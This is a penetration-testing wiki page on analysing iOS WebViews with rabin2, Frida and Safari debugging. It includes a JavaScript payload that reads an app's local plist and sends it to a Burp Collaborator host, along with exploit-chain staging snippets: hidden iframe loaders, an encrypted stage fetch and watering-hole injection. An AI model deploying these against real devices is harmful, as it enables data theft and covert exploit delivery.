ios-webviews.md (22241B)
1 --- 2 title: "iOS WebViews" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/ios-pentesting/ios-webviews.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/ios-pentesting/ios-webviews.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # iOS WebViews 14 15 The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.<sup>[[4]](#references)</sup> 16 17 ## WebView types 18 19 WebViews are utilized within applications to display web content interactively. Various types of WebViews offer different functionalities and security features for iOS applications. Here's a brief overview:<sup>[[4]](#references)</sup> 20 21 - **UIWebView**, which is no longer recommended from iOS 12 onwards due to its lack of support for disabling **JavaScript**, making it susceptible to script injection and **Cross-Site Scripting (XSS)** attacks. 22 23 - **WKWebView** is the preferred option for incorporating web content into apps, offering enhanced control over the content and security features. **JavaScript** is enabled by default, but it can be disabled if necessary. It also supports features to prevent JavaScript from automatically opening windows and ensures that all content is loaded securely. Additionally, **WKWebView**'s architecture minimizes the risk of memory corruption affecting the main app process. 24 25 - **SFSafariViewController** offers a standardized web browsing experience within apps, recognizable by its specific layout including a read-only address field, share and navigation buttons, and a direct link to open content in Safari. Unlike **WKWebView**, **JavaScript** cannot be disabled in **SFSafariViewController**, which also shares cookies and data with Safari, maintaining user privacy from the app. It must be displayed prominently according to App Store guidelines. 26 27 ```javascript 28 // Example of disabling JavaScript in WKWebView: 29 WKPreferences *preferences = [[WKPreferences alloc] init]; 30 preferences.javaScriptEnabled = NO; 31 WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init]; 32 config.preferences = preferences; 33 WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config]; 34 ``` 35 36 ## WebViews Configuration Exploration Summary 37 38 ### **Static Analysis Overview** 39 40 In the process of examining **WebViews** configurations, two primary types are focused on: **UIWebView** and **WKWebView**. For identifying these WebViews within a binary, commands are utilized, searching for specific class references and initialization methods.<sup>[[3]](#references)[[4]](#references)</sup> 41 42 - **UIWebView Identification** 43 44 ```bash 45 $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" 46 ``` 47 48 This command helps in locating instances of **UIWebView** by searching for text strings related to it in the binary. 49 50 - **WKWebView Identification** 51 52 ```bash 53 $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" 54 ``` 55 56 Similarly, for **WKWebView**, this command searches the binary for text strings indicative of its usage. 57 58 Furthermore, to find how a **WKWebView** is initialized, the following command is executed, targeting the method signature related to its initialization: 59 60 ```bash 61 $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" 62 ``` 63 64 #### **JavaScript Configuration Verification** 65 66 For **WKWebView**, it's highlighted that disabling JavaScript is a best practice unless required. The compiled binary is searched to confirm that the `javaScriptEnabled` property is set to `false`, ensuring that JavaScript is disabled: 67 68 ```bash 69 $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" 70 ``` 71 72 #### **Only Secure Content Verification** 73 74 **WKWebView** offers the capability to identify mixed content issues, contrasting with **UIWebView**. This is checked using the `hasOnlySecureContent` property to ensure all page resources are loaded through secure connections. The search in the compiled binary is performed as follows: 75 76 ```bash 77 $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" 78 ``` 79 80 ### **Dynamic Analysis Insights** 81 82 Dynamic analysis involves inspecting the heap for WebView instances and their properties. A script named `webviews_inspector.js` is used for this purpose, targeting `UIWebView`, `WKWebView`, and `SFSafariViewController` instances. It logs information about found instances, including URLs and settings related to JavaScript and secure content.<sup>[[4]](#references)</sup> 83 84 Heap inspection can be conducted using `ObjC.choose()` to identify WebView instances and check the `javaScriptEnabled` and `hasOnlySecureContent` properties. 85 86 ```javascript 87 ObjC.choose(ObjC.classes["UIWebView"], { 88 onMatch: function (ui) { 89 console.log("onMatch: ", ui) 90 console.log("URL: ", ui.request().toString()) 91 }, 92 onComplete: function () { 93 console.log("done for UIWebView!") 94 }, 95 }) 96 97 ObjC.choose(ObjC.classes["WKWebView"], { 98 onMatch: function (wk) { 99 console.log("onMatch: ", wk) 100 console.log("URL: ", wk.URL().toString()) 101 }, 102 onComplete: function () { 103 console.log("done for WKWebView!") 104 }, 105 }) 106 107 ObjC.choose(ObjC.classes["SFSafariViewController"], { 108 onMatch: function (sf) { 109 console.log("onMatch: ", sf) 110 }, 111 onComplete: function () { 112 console.log("done for SFSafariViewController!") 113 }, 114 }) 115 116 ObjC.choose(ObjC.classes["WKWebView"], { 117 onMatch: function (wk) { 118 console.log("onMatch: ", wk) 119 console.log( 120 "javaScriptEnabled:", 121 wk.configuration().preferences().javaScriptEnabled() 122 ) 123 }, 124 }) 125 126 ObjC.choose(ObjC.classes["WKWebView"], { 127 onMatch: function (wk) { 128 console.log("onMatch: ", wk) 129 console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString()) 130 }, 131 }) 132 ``` 133 134 The script is executed with: 135 136 ```bash 137 frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js 138 ``` 139 140 **Key outcomes:** 141 142 - Instances of WebViews are successfully located and inspected. 143 - JavaScript enablement and secure content settings are verified. 144 145 This summary encapsulates the critical steps and commands involved in analyzing WebView configurations through static and dynamic approaches, focusing on security features like JavaScript enablement and mixed content detection. 146 147 ## WebView Protocol Handling 148 149 Handling content in WebViews is a critical aspect, especially when dealing with various protocols such as `http(s)://`, `file://`, and `tel://`. These protocols enable the loading of both remote and local content within apps. It is emphasized that when loading local content, precautions must be taken to prevent users from influencing the file's name or path and from editing the content itself.<sup>[[2]](#references)[[4]](#references)</sup> 150 151 **WebViews** offer different methods for content loading. For **UIWebView**, now deprecated, methods like `loadHTMLString:baseURL:` and `loadData:MIMEType:textEncodingName:baseURL:` are used. **WKWebView**, on the other hand, employs `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, and `loadRequest:` for web content. Methods such as `pathForResource:ofType:`, `URLForResource:withExtension:`, and `init(contentsOf:encoding:)` are typically utilized for loading local files. The method `loadFileURL:allowingReadAccessToURL:` is particularly notable for its ability to load a specific URL or directory into the WebView, potentially exposing sensitive data if a directory is specified. 152 153 To find these methods in the source code or compiled binary, commands like the following can be used: 154 155 ```bash 156 $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 157 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: 158 ``` 159 160 Regarding **file access**, UIWebView allows it universally, whereas WKWebView introduces `allowFileAccessFromFileURLs` and `allowUniversalAccessFromFileURLs` settings for managing access from file URLs, with both being false by default. 161 162 A Frida script example is provided to inspect **WKWebView** configurations for security settings: 163 164 ```bash 165 ObjC.choose(ObjC.classes['WKWebView'], { 166 onMatch: function (wk) { 167 console.log('onMatch: ', wk); 168 console.log('URL: ', wk.URL().toString()); 169 console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled()); 170 console.log('allowFileAccessFromFileURLs: ', 171 wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString()); 172 console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); 173 console.log('allowUniversalAccessFromFileURLs: ', 174 wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString()); 175 }, 176 onComplete: function () { 177 console.log('done for WKWebView!'); 178 } 179 }); 180 ``` 181 182 Lastly, an example of a JavaScript payload aimed at exfiltrating local files demonstrates the potential security risk associated with improperly configured WebViews. This payload encodes file contents into hex format before transmitting them to a server, highlighting the importance of stringent security measures in WebView implementations. 183 184 ```javascript 185 String.prototype.hexEncode = function () { 186 var hex, i 187 var result = "" 188 for (i = 0; i < this.length; i++) { 189 hex = this.charCodeAt(i).toString(16) 190 result += ("000" + hex).slice(-4) 191 } 192 return result 193 } 194 195 var xhr = new XMLHttpRequest() 196 xhr.onreadystatechange = function () { 197 if (xhr.readyState == XMLHttpRequest.DONE) { 198 var xhr2 = new XMLHttpRequest() 199 xhr2.open( 200 "GET", 201 "http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" + 202 xhr.responseText.hexEncode(), 203 true 204 ) 205 xhr2.send(null) 206 } 207 } 208 xhr.open( 209 "GET", 210 "file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist", 211 true 212 ) 213 xhr.send(null) 214 ``` 215 216 ## Native methods exposed through WebViews 217 218 Since iOS 7, Apple has provided APIs for **communication between JavaScript in a WebView and native** Swift or Objective-C objects. This integration is primarily facilitated through two methods:<sup>[[4]](#references)</sup> 219 220 - **JSContext**: A JavaScript function is automatically created when a Swift or Objective-C block is linked to an identifier within a `JSContext`. This allows for seamless integration and communication between JavaScript and native code. 221 - **JSExport Protocol**: By inheriting the `JSExport` protocol, native properties, instance methods, and class methods can be exposed to JavaScript. This means any changes made in the JavaScript environment are mirrored in the native environment, and vice versa. However, it's essential to ensure that sensitive data is not exposed inadvertently through this method. 222 223 ### Accessing `JSContext` in Objective-C 224 225 In Objective-C, the `JSContext` for a `UIWebView` can be retrieved with the following line of code: 226 227 ```text 228 [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"] 229 ``` 230 231 ### Communication with `WKWebView` 232 233 For `WKWebView`, direct access to `JSContext` is not available. Instead, message passing uses the `postMessage` function for JavaScript-to-native communication. Handlers for these messages are set up as follows: 234 235 ```swift 236 func enableJavaScriptBridge(_ enabled: Bool) { 237 options_dict["javaScriptBridge"]?.value = enabled 238 let userContentController = wkWebViewConfiguration.userContentController 239 userContentController.removeScriptMessageHandler(forName: "javaScriptBridge") 240 241 if enabled { 242 let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler() 243 userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge") 244 } 245 } 246 ``` 247 248 ### Interaction and Testing 249 250 JavaScript can interact with the native layer by defining a script message handler. This allows for operations like invoking native functions from a webpage: 251 252 ```javascript 253 function invokeNativeOperation() { 254 value1 = document.getElementById("value1").value 255 value2 = document.getElementById("value2").value 256 window.webkit.messageHandlers.javaScriptBridge.postMessage([ 257 "multiplyNumbers", 258 value1, 259 value2, 260 ]) 261 } 262 263 // Alternative method for calling exposed JavaScript functions 264 document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2 265 ``` 266 267 To capture and manipulate the result of a native function call, one can override the callback function within the HTML: 268 269 ```html 270 <html> 271 <script> 272 document.location = "javascriptbridge://getSecret" 273 function javascriptBridgeCallBack(name, result) { 274 alert(result) 275 } 276 </script> 277 </html> 278 ``` 279 280 The native side handles the JavaScript call as shown in the `JavaScriptBridgeMessageHandler` class, where the result of operations like multiplying numbers is processed and sent back to JavaScript for display or further manipulation: 281 282 ```swift 283 class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { 284 // Handling "multiplyNumbers" operation 285 case "multiplyNumbers": 286 let arg1 = Double(messageArray[1])! 287 let arg2 = Double(messageArray[2])! 288 result = String(arg1 * arg2) 289 // Callback to JavaScript 290 let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" 291 message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) 292 } 293 ``` 294 295 ### Modern `WKWebView` bridge triage 296 297 On current iOS apps, the most interesting bridge entry points are usually `addScriptMessageHandler:name:`, `addScriptMessageHandler:contentWorld:name:`, and `addScriptMessageHandlerWithReply:contentWorld:name:`. Any JavaScript that reaches the page can call `window.webkit.messageHandlers.<name>.postMessage(...)`, so an XSS, an attacker-controlled page, or an untrusted iframe becomes a native-code pivot if the handler exposes sensitive actions. During review, check whether privileged handlers validate `message.frameInfo.securityOrigin` (and ideally reject unexpected subframes) before touching tokens, filesystem paths, deeplink targets, or app state.<sup>[[6]](#references)</sup> 298 299 Useful source/binary triage patterns: 300 301 ```bash 302 # Source code / decompiled Swift/ObjC 303 rg -n 'addScriptMessageHandler|addScriptMessageHandlerWithReply|WKContentWorld|evaluateJavaScript\(|callAsyncJavaScript\(' . 304 305 # Compiled app 306 rabin2 -zzq Payload/App.app/AppBinary | rg 'addScriptMessageHandler|WKScriptMessageHandlerWithReply|WKContentWorld|evaluateJavaScript|callAsyncJavaScript|messageHandlers' 307 ``` 308 309 A small Frida hook is usually enough to enumerate bridge names at runtime and immediately spot whether the app is using the legacy global registration or a specific `WKContentWorld`:<sup>[[6]](#references)</sup> 310 311 ```javascript 312 Interceptor.attach(ObjC.classes.WKUserContentController['- addScriptMessageHandler:name:'].implementation, { 313 onEnter(args) { console.log('[bridge] legacy name=' + ObjC.Object(args[3]).toString()) } 314 }) 315 Interceptor.attach(ObjC.classes.WKUserContentController['- addScriptMessageHandler:contentWorld:name:'].implementation, { 316 onEnter(args) { 317 console.log('[bridge] world=' + ObjC.Object(args[3]).toString() + ' name=' + ObjC.Object(args[4]).toString()) 318 } 319 }) 320 ``` 321 322 ## iOS Web Exploit Delivery & Staging Tradecraft 323 324 The following patterns have been observed in real-world iOS Safari/WebKit exploit delivery chains and are useful for analysis, detection, and controlled emulation.<sup>[[1]](#references)</sup> 325 326 ### Multi-stage loader via hidden iframes 327 328 A common staging pattern is to gate execution to avoid reinfection or analysis and then inject a hidden/off-screen `iframe` for the next stage: 329 330 ```html 331 <script> 332 if (!sessionStorage.getItem('uid') && isTouchScreen) { 333 sessionStorage.setItem('uid', '1'); 334 const frame = document.createElement('iframe'); 335 frame.src = 'frame.html?' + Math.random(); 336 frame.style.height = 0; 337 frame.style.width = 0; 338 frame.style.border = 'none'; 339 document.body.appendChild(frame); 340 } else { 341 top.location.href = 'red'; 342 } 343 </script> 344 ``` 345 346 A minimal staging page can inject the main loader via `document.write()`: 347 348 ```html 349 <script> 350 document.write('<script defer="defer" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/ios-pentesting/rce_loader.js"><\/script>'); 351 </script> 352 ``` 353 354 Loader stages frequently pull subsequent JavaScript synchronously: 355 356 ```javascript 357 function getJS(fname) { 358 const xhr = new XMLHttpRequest(); 359 xhr.open('GET', fname, false); 360 xhr.send(null); 361 return xhr.responseText; 362 } 363 ``` 364 365 Later stages can be executed in a worker-like context by building a Blob URL: 366 367 ```javascript 368 const workerCode = getJS('rce_worker_18.4.js'); 369 const workerBlob = new Blob([workerCode], { type: 'text/javascript' }); 370 const workerBlobUrl = URL.createObjectURL(workerBlob); 371 ``` 372 373 ### Forcing Safari to hit the WebKit/JSC surface 374 375 If a victim opens a lure in another browser, a protocol handler can force Safari: 376 377 ```javascript 378 if (typeof browser === 'undefined' && isIphone()) { 379 location.href = 'x-safari-https://example.com/<redacted>'; 380 } 381 ``` 382 383 ### Encrypted stage fetch (ECDH + AES) 384 385 Some loaders encrypt exploit stages in transit. A minimal client flow is: generate an ephemeral ECDH keypair, POST the base64 public key, receive encrypted blobs, derive an AES key, decrypt, then decode to JavaScript: 386 387 ```javascript 388 const kp = generateKeyPair(); 389 const pubPem = exportPublicKeyAsPem(kp.publicKey); 390 const xhr = new XMLHttpRequest(); 391 xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false); 392 xhr.setRequestHeader('Content-Type', 'application/json'); 393 xhr.send(JSON.stringify({ a: btoa(pubPem) })); 394 const { a, b } = JSON.parse(xhr.responseText); 395 const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b)); 396 const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey)); 397 ``` 398 399 ### Watering-hole injection pattern 400 401 Compromised sites can load a remote script that builds an off-screen `iframe` and constrains it with a sandbox while still allowing script execution: 402 403 ```html 404 <script async src="https://static.example.net/widgets.js?token"></script> 405 ``` 406 407 ```javascript 408 const iframe = document.createElement('iframe'); 409 iframe.src = 'https://static.example.net/assets/index.html'; 410 iframe.style.width = '1px'; 411 iframe.style.height = '1px'; 412 iframe.style.position = 'absolute'; 413 iframe.style.left = '-9999px'; 414 iframe.style.opacity = '0.01'; 415 iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin'); 416 document.body.appendChild(iframe); 417 ``` 418 419 ### Post-exploitation anti-forensics indicators (JS implants) 420 421 - Temporary staging under `/tmp/<uuid>.<digits>/` with subfolders like `STORAGE`, `DATA`, and `TMP`. 422 - Deletion of crash logs in `/var/mobile/Library/Logs/CrashReporter/` (often filtered by WebKit/SpringBoard substrings). 423 - Recursive deletion of `/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/`. 424 425 ## Debugging iOS WebViews 426 427 (Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))<sup>[[5]](#references)</sup> 428 429 To effectively debug web content within iOS webviews, a specific setup involving Safari's developer tools is required due to the fact that messages sent to `console.log()` are not displayed in Xcode logs. Here's a simplified guide, emphasizing key steps and requirements:<sup>[[5]](#references)</sup> 430 431 - **Preparation on iOS Device**: The Safari Web Inspector needs to be activated on your iOS device. This is done by going to **Settings > Safari > Advanced**, and enabling the _Web Inspector_. 432 433 - **Preparation on macOS Device**: On your macOS development machine, you must enable developer tools within Safari. Launch Safari, access **Safari > Preferences > Advanced**, and select the option to _Show Develop menu_. 434 435 - **Connection and Debugging**: After connecting your iOS device to your macOS computer and launching your application, use Safari on your macOS device to select the webview you want to debug. Navigate to _Develop_ in Safari's menu bar, hover over your iOS device's name to see a list of webview instances, and select the instance you wish to inspect. A new Safari Web Inspector window will open for this purpose. 436 437 On modern systems, the second limitation is no longer absolute: since iOS/iPadOS **16.4**, a release build can expose its `WKWebView` or `JSContext` to Safari by setting `isInspectable = true`, so some App Store apps will now appear in the **Develop** menu if the developer opted in.<sup>[[7]](#references)</sup> 438 439 ```javascript 440 if (ObjC.classes.WKWebView && ObjC.classes.WKWebView['- setInspectable:']) { 441 ObjC.choose(ObjC.classes.WKWebView, { 442 onMatch: function (wk) { wk.setInspectable_(1) }, 443 onComplete: function () {} 444 }) 445 } 446 ``` 447 448 However, be mindful of the limitations: 449 450 - Debugging with this method still requires a macOS device since it relies on Safari. 451 - If the target app does **not** opt into `isInspectable`, Safari will usually not list the WebView even though the device-side Web Inspector toggle is enabled.<sup>[[7]](#references)</sup> 452 453 ## References 454 455 - [1] [The Proliferation of DarkSword: iOS Exploit Chain Adopted by Multiple Threat Actors](https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/) 456 - [2] [iOS Testing Guide – Testing WebView Protocol Handlers (MSTG-PLATFORM-6)](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) 457 - [3] [Where's My Browser? – Learn Hacking WebViews (iOS)](https://github.com/authenticationfailure/WheresMyBrowser.iOS) 458 - [4] [iOS Platform APIs – OWASP Mobile Security Testing Guide](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) 459 - [5] [Debugging webviews on Android and iOS](https://blog.vuplex.com/debugging-webviews) 460 - [6] [MASTG-BEST-0058: Restrict Native Functionality Exposed Through WebViews](https://mas.owasp.org/MASTG/best-practices/MASTG-BEST-0058/) 461 - [7] [Enabling the Inspection of Web Content in Apps](https://webkit.org/blog/13936/enabling-the-inspection-of-web-content-in-apps/)